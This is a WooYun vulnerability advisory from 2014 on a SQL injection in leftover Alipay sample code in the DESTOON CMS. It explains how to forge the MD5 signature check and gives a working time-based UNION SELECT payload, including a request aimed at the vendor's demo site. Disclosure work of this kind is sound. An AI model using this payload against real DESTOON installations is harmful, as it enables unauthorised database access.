当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-083528

漏洞标题：DESTOON的一处SQL注入漏洞

相关厂商：DESTOON

漏洞作者： cbuteng

提交时间：2014-11-21 10:52

修复时间：2015-02-19 10:54

公开时间：2015-02-19 10:54

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-21： 细节已通知厂商并且等待厂商处理中
2014-11-21： 厂商已经确认，细节仅向厂商公开
2014-11-24： 细节向第三方安全合作伙伴开放
2015-01-15： 细节向核心白帽子及相关领域专家公开
2015-01-25： 细节向普通白帽子公开
2015-02-04： 细节向实习白帽子公开
2015-02-19： 细节向公众公开

简要描述：

没回显，示例代码没删

详细说明：

之前destoon出现过支付接口的注入问题WEBROOT/api/pay/下的已经全部修复了
但是新版本里面多出来两个示例代码，导致注入
如下图

1.png


2.png


这里面各种注入
以WEBROOT\api\trade\alipay\2\notify.php为例子,如下图

4.png


第61行处的$itemid来自post提交，并且没有被单引号包裹，也不用管common的通用过滤了。
第46行处需要校验一下。跟进去，进入WEBROOT\api\trade\alipay\2\pay\alipay_core.function.php
如下图

5.png


要想返回true，需要两个条件，
第一个条件preg_match("/true$/i",$responseTxt)如图$responseTxt一直等于true所以恒真的。
第二个条件$mysign == $_POST["sign"]
$mysign来自45行对post的处理，所以又要跟进下面这

6.png


这里对参数排序，去掉无效值后，最终会对除$_POST["sign"]以外的post参数的
name和value加等号一起md5一下返回。一定是加一起！！，
即$mysign就是post除开$_POST["sign"]的md5值
两个条件都凑齐了，返回true如最开始的图就验证成功了进入model层，触发漏洞

漏洞证明：

sign=adddcf5c72bcf33b9de127192f02c9dd&out_trade_no=1 UNION SELECT 1,2,3,4,5,6,7,8,sleep(5),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
sign是下面这一坨的md5，即name和value加上等号一起的md5
out_out_trade_no=1 UNION SELECT 1,2,3,4,5,6,7,8,sleep(5),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32


8.png


效果,这是/include/db_mysql.class.php。
加个var_dump看看

9.png


10.png


11.png


官网的

7.png


http://demo.destoon.com/v5.0/api/trade/alipay/2/notify.php?seller_email=
sign=adddcf5c72bcf33b9de127192f02c9dd&out_trade_no=1 UNION SELECT 1,2,3,4,5,6,7,8,sleep(5),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32

修复方案：

删了,或者像/api/pay/alipay里面那样处理

版权声明：转载请注明来源 cbuteng@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-11-21 23:52

厂商回复：

感谢反馈 我们会尽快修复

最新状态：

暂无